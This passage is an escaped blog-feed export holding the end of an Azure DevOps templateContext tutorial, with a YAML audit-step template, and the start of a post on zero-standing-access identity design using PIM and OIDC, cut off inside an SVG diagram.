\u003ccode\u003estageList\u003c/code\u003e, or \u003ccode\u003estepList\u003c/code\u003e. If you define the parameter as \u003ccode\u003etype: object\u003c/code\u003e, the validator may not correctly preserve the \u003ccode\u003etemplateContext\u003c/code\u003e property during expansion.\u003c/p\u003e\n\u003cp\u003eUse the \u003cstrong\u003eExpanded YAML\u003c/strong\u003e view (Run summary -\u0026gt; Download logs) to verify that your metadata properties are actually reaching the inner logic. If \u003ccode\u003e${{ job.templateContext.tier }}\u003c/code\u003e returns null in the logs, check for shadowing—ensure that if you are nesting loops, your loop variables (e.g., \u003ccode\u003ejob_item\u003c/code\u003e) are unique.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-the-audit-ready-pipeline\"\u003eHands-On Example: The \u0026ldquo;Audit-Ready\u0026rdquo; Pipeline\u003c/h2\u003e\n\u003cp\u003eHere is a template that automatically injects a \u0026ldquo;Log-to-Compliance\u0026rdquo; step for every job, using a \u003ccode\u003eComplianceID\u003c/code\u003e passed via context.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/governed-jobs.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each job in parameters.jobs }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each pair in job }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ if ne(pair.key, \u0026#39;steps\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ae81ff\"\u003e${{ pair.key }}: ${{ pair.value }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Audit Log for ID: ${{ job.templateContext.ComplianceID }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ job.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis ensures every job has a mandatory audit trail, but you only see your standard job logic in your own repository.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eKeep Data Local:\u003c/strong\u003e Use \u003ccode\u003etemplateContext\u003c/code\u003e to keep metadata attached to the specific jobs it describes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStandardize Your Context Schema:\u003c/strong\u003e Define an internal standard (e.g., every job must have an \u003ccode\u003eowner\u003c/code\u003e) to keep your platform predictable.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFail Gracefully:\u003c/strong\u003e Use \u003ccode\u003e${{ coalesce() }}\u003c/code\u003e to provide defaults if the \u003ccode\u003etemplateContext\u003c/code\u003e is missing.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDon\u0026rsquo;t Pass Secrets:\u003c/strong\u003e Metadata is visible in expanded logs. Pass secret \u003cem\u003enames\u003c/em\u003e, never \u003cem\u003evalues\u003c/em\u003e.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates#templatecontext\"\u003eMicrosoft Learn: templateContext property reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates#parameter-data-types\"\u003eMicrosoft Learn: jobList parameter type\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developercommunity.visualstudio.com/azuredevops\"\u003eAzure DevOps Community: Advanced Metadata Patterns\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/azure-pipelines-canary\"\u003eGitHub: Enterprise-Scale YAML Library Examples\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Master the templateContext property in Azure DevOps. Learn how to pass hidden metadata to your job and stage templates to build cleaner, more encapsulated pipeline architectures.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/templatecontext-deep-dive/","title":"templateContext Deep Dive: Bundling Metadata with Jobs and Stages"},{"content":"\u003cp\u003eThe security team\u0026rsquo;s Slack message arrives on a Tuesday afternoon: \u0026ldquo;We\u0026rsquo;re seeing resource deletions in prod. Investigating.\u0026rdquo; Your heart rate goes up. You pull the Azure Activity Log. The deletions are attributed to a service principal—one your team created eight months ago for a deployment pipeline. The pipeline finished its job. Nobody revoked the credential. The client secret was valid for two years.\u003c/p\u003e\n\u003cp\u003eIt wasn\u0026rsquo;t a sophisticated attack. Someone found the secret in a Git history, and the principal had Contributor on the entire subscription. Everything it could touch, they touched.\u003c/p\u003e\n\u003cp\u003eThis is the failure mode that network firewalls and VPN gateways don\u0026rsquo;t prevent. Authentication succeeded. Authorization succeeded. The blast radius was just enormous because nobody thought about what \u0026ldquo;temporary access for a deployment pipeline\u0026rdquo; means when the pipeline is gone but the credential isn\u0026rsquo;t.\u003c/p\u003e\n\u003cp\u003eYour identity architecture moves away from permanent, static permissions toward a \u003cstrong\u003eZero Standing Access (ZSA)\u003c/strong\u003e model. Use \u003cstrong\u003ePrivileged Identity Management (PIM)\u003c/strong\u003e for humans and \u003cstrong\u003eWorkload Identity Federation (OIDC)\u003c/strong\u003e for machines. Every high-privilege action becomes time-bound, auditable, and cryptographic—with no static passwords or keys in your environment.\u003c/p\u003e\n\u003ch2 id=\"1-entra-id-vs-azure-rbac\"\u003e1. Entra ID vs. Azure RBAC\u003c/h2\u003e\n\u003cp\u003eTo build a secure model, you need to keep two authorization systems distinct: the identity provider (Entra ID) and the resource authorization engine (Azure RBAC).\u003c/p\u003e\n\u003ch3 id=\"entra-id-vs-azure-rbac-boundaries\"\u003eEntra ID vs. Azure RBAC Boundaries\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 384,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,96 L 216,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 208,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,160 L 384,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,208 L 80,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,224 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 48,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,144 L 216,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,16 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,160 L 384,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,160.000000 212.000000,154.399994 212.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 216.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='212' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='212' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='212' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' 